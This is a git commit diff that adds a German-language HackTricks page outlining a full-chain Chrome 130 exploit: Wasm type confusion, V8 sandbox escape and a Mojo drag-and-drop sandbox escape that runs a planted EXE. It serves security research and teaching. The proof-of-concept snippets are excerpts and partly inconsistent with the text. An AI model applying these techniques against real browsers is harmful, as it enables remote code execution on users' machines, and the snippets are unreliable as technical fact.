mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/chrome-exploiting.md'] to de
This commit is contained in:
Translator
parent
bf2f3622be
commit
04e04205db
@ -761,6 +761,7 @@
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||
|
||||
170
src/binary-exploitation/chrome-exploiting.md
Normal file
170
src/binary-exploitation/chrome-exploiting.md
Normal file
@ -0,0 +1,170 @@
|
||||
# Chrome Exploiting
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> Diese Seite bietet einen hochrangigen, aber **praktischen** Überblick über einen modernen "Full-Chain"-Exploits-Workflow gegen Google Chrome 130, basierend auf der Forschungsreihe **„101 Chrome Exploitation“** (Teil-0 — Vorwort).
|
||||
> Das Ziel ist es, Pentestern und Exploit-Entwicklern den minimalen Hintergrund zu geben, der notwendig ist, um die Techniken zu reproduzieren oder für ihre eigene Forschung anzupassen.
|
||||
|
||||
## 1. Chrome-Architektur Rückblick
|
||||
Das Verständnis der Angriffsfläche erfordert zu wissen, wo Code ausgeführt wird und welche Sandboxes gelten.
|
||||
```
|
||||
+-------------------------------------------------------------------------+
|
||||
| Chrome Browser |
|
||||
| |
|
||||
| +----------------------------+ +-----------------------------+ |
|
||||
| | Renderer Process | | Browser/main Process | |
|
||||
| | [No direct OS access] | | [OS access] | |
|
||||
| | +----------------------+ | | | |
|
||||
| | | V8 Sandbox | | | | |
|
||||
| | | [JavaScript / Wasm] | | | | |
|
||||
| | +----------------------+ | | | |
|
||||
| +----------------------------+ +-----------------------------+ |
|
||||
| | IPC/Mojo | |
|
||||
| V | |
|
||||
| +----------------------------+ | |
|
||||
| | GPU Process | | |
|
||||
| | [Restricted OS access] | | |
|
||||
| +----------------------------+ | |
|
||||
+-------------------------------------------------------------------------+
|
||||
```
|
||||
Layered defence-in-depth:
|
||||
|
||||
* **V8-Sandbox** (Isolate): Die Speichergenehmigungen sind eingeschränkt, um willkürliches Lesen/Schreiben von JITed JS / Wasm zu verhindern.
|
||||
* **Renderer ↔ Browser-Trennung** wird durch **Mojo/IPC** Nachrichtenübertragung sichergestellt; der Renderer hat *keinen* nativen FS-/Netzwerkzugriff.
|
||||
* **OS-Sandboxes** enthalten jeden Prozess weiter (Windows Integrity Levels / `seccomp-bpf` / macOS Sandbox-Profile).
|
||||
|
||||
Ein *entfernter* Angreifer benötigt daher **drei** aufeinanderfolgende Primitiven:
|
||||
|
||||
1. Speicherbeschädigung innerhalb von V8, um **willkürliches RW innerhalb des V8-Heaps** zu erhalten.
|
||||
2. Ein zweiter Fehler, der es dem Angreifer ermöglicht, **aus dem V8-Sandbox in den gesamten Renderer-Speicher zu entkommen**.
|
||||
3. Ein endgültiger Sandbox-Entkommen (oft Logik statt Speicherbeschädigung), um Code **außerhalb der Chrome OS-Sandbox** auszuführen.
|
||||
|
||||
---
|
||||
|
||||
## 2. Stage 1 – WebAssembly Typverwirrung (CVE-2025-0291)
|
||||
|
||||
Ein Fehler in TurboFans **Turboshaft**-Optimierung klassifiziert **WasmGC-Referenztypen** falsch, wenn der Wert innerhalb einer *einzelnen Grundblockschleife* erzeugt und konsumiert wird.
|
||||
|
||||
Wirkung:
|
||||
* Der Compiler **überspringt die Typprüfung**, behandelt eine *Referenz* (`externref/anyref`) als *int64*.
|
||||
* Ausgeklügeltes Wasm ermöglicht das Überlappen eines JS-Objekt-Headers mit vom Angreifer kontrollierten Daten → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR-Primitiven**.
|
||||
|
||||
Minimales PoC (Auszug):
|
||||
```WebAssembly
|
||||
(module
|
||||
(type $t0 (func (param externref) (result externref)))
|
||||
(func $f (param $p externref) (result externref)
|
||||
(local $l externref)
|
||||
block $exit
|
||||
loop $loop
|
||||
local.get $p ;; value with real ref-type
|
||||
;; compiler incorrectly re-uses it as int64 in the same block
|
||||
br_if $exit ;; exit condition keeps us single-block
|
||||
br $loop
|
||||
end
|
||||
end)
|
||||
(export "f" (func $f)))
|
||||
```
|
||||
Trigger-Optimierung & Spray-Objekte aus JS:
|
||||
```js
|
||||
const wasmMod = new WebAssembly.Module(bytes);
|
||||
const wasmInst = new WebAssembly.Instance(wasmMod);
|
||||
const f = wasmInst.exports.f;
|
||||
|
||||
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
|
||||
|
||||
// primitives
|
||||
let victim = {m: 13.37};
|
||||
let fake = arbitrary_data_backed_typedarray;
|
||||
let addrVict = addrOf(victim);
|
||||
```
|
||||
Outcome: **willkürliches Lesen/Schreiben innerhalb von V8**.
|
||||
|
||||
---
|
||||
|
||||
## 3. Stage 2 – Ausbrechen aus dem V8 Sandbox (Issue 379140430)
|
||||
|
||||
Wenn eine Wasm-Funktion tier-up-compiliert wird, wird ein **JS ↔ Wasm Wrapper** generiert. Ein Signatur-Mismatch-Bug verursacht, dass der Wrapper über das Ende eines vertrauenswürdigen **`Tuple2`** Objekts hinaus schreibt, wenn die Wasm-Funktion *während sie sich noch im Stack befindet* neu optimiert wird.
|
||||
|
||||
Das Überschreiben der 2 × 64-Bit-Felder des `Tuple2` Objekts ermöglicht **Lesen/Schreiben an jeder Adresse im Renderer-Prozess**, wodurch die V8 Sandbox effektiv umgangen wird.
|
||||
|
||||
Wichtige Schritte im Exploit:
|
||||
1. Bringen Sie die Funktion in den **Tier-Up** Zustand, indem Sie zwischen Turbofan/Baseline-Code wechseln.
|
||||
2. Triggern Sie den Tier-Up, während Sie eine Referenz im Stack behalten (`Function.prototype.apply`).
|
||||
3. Verwenden Sie Stage-1 AAR/AAW, um das angrenzende `Tuple2` zu finden und zu korrumpieren.
|
||||
|
||||
Wrapper-Identifikation:
|
||||
```js
|
||||
function wrapperGen(arg) {
|
||||
return f(arg);
|
||||
}
|
||||
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
|
||||
wrapperGen(0x1337n);
|
||||
```
|
||||
Nach der Korruption verfügen wir über ein voll funktionsfähiges **Renderer R/W Primitive**.
|
||||
|
||||
---
|
||||
|
||||
## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
|
||||
|
||||
Die **Mojo** IPC-Schnittstelle `blink.mojom.DragService.startDragging()` kann vom Renderer mit *teilweise vertrauenswürdigen* Parametern aufgerufen werden. Durch das Erstellen einer `DragData`-Struktur, die auf einen **beliebigen Dateipfad** zeigt, überzeugt der Renderer den Browser, einen *nativen* Drag-and-Drop **außerhalb der Renderer-Sandbox** durchzuführen.
|
||||
|
||||
Durch den Missbrauch hiervon können wir programmgesteuert eine bösartige EXE (zuvor an einem weltweit beschreibbaren Ort abgelegt) auf den Desktop „ziehen“, wo Windows bestimmte Dateitypen automatisch ausführt, sobald sie abgelegt werden.
|
||||
|
||||
Beispiel (vereinfacht):
|
||||
```js
|
||||
const payloadPath = "C:\\Users\\Public\\explorer.exe";
|
||||
|
||||
chrome.webview.postMessage({
|
||||
type: "DragStart",
|
||||
data: {
|
||||
title: "MyFile",
|
||||
file_path: payloadPath,
|
||||
mime_type: "application/x-msdownload"
|
||||
}
|
||||
});
|
||||
```
|
||||
Keine zusätzliche Speicherbeschädigung ist erforderlich – der **Logikfehler** ermöglicht uns die Ausführung beliebiger Dateien mit den Rechten des Benutzers.
|
||||
|
||||
---
|
||||
|
||||
## 5. Vollständiger Kettenfluss
|
||||
|
||||
1. **Benutzer besucht** bösartige Webseite.
|
||||
2. **Stufe 1**: Wasm-Modul missbraucht CVE-2025-0291 → V8 Heap AAR/AAW.
|
||||
3. **Stufe 2**: Wrapper-Mismatch beschädigt `Tuple2` → V8-Sandbox umgehen.
|
||||
4. **Stufe 3**: `startDragging()` IPC → OS-Sandbox umgehen & Payload ausführen.
|
||||
|
||||
Ergebnis: **Remote Code Execution (RCE)** auf dem Host (Chrome 130, Windows/Linux/macOS).
|
||||
|
||||
---
|
||||
|
||||
## 6. Labor- & Debugging-Setup
|
||||
```bash
|
||||
# Spin-up local HTTP server w/ PoCs
|
||||
npm i -g http-server
|
||||
git clone https://github.com/Petitoto/chromium-exploit-dev
|
||||
cd chromium-exploit-dev
|
||||
http-server -p 8000 -c -1
|
||||
|
||||
# Windows kernel debugging
|
||||
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
|
||||
```
|
||||
Nützliche Flags beim Starten eines *Entwicklungs*-Builds von Chrome:
|
||||
```bash
|
||||
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
|
||||
```
|
||||
---
|
||||
|
||||
## Takeaways
|
||||
|
||||
* **WebAssembly JIT-Bugs** bleiben ein zuverlässiger Einstiegspunkt – das Typsystem ist noch jung.
|
||||
* Das Erlangen eines zweiten Speicherbeschädigungsbugs innerhalb von V8 (z.B. Wrapper-Mismatch) vereinfacht **V8-Sandbox-Umgehung** erheblich.
|
||||
* Logikschwächen in privilegierten Mojo IPC-Schnittstellen sind oft ausreichend für eine **endgültige Sandbox-Umgehung** – achten Sie auf *nicht-speicherbezogene* Bugs.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
|
||||
* [Chromium-Sicherheitsarchitektur](https://chromium.org/developers/design-documents/security)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user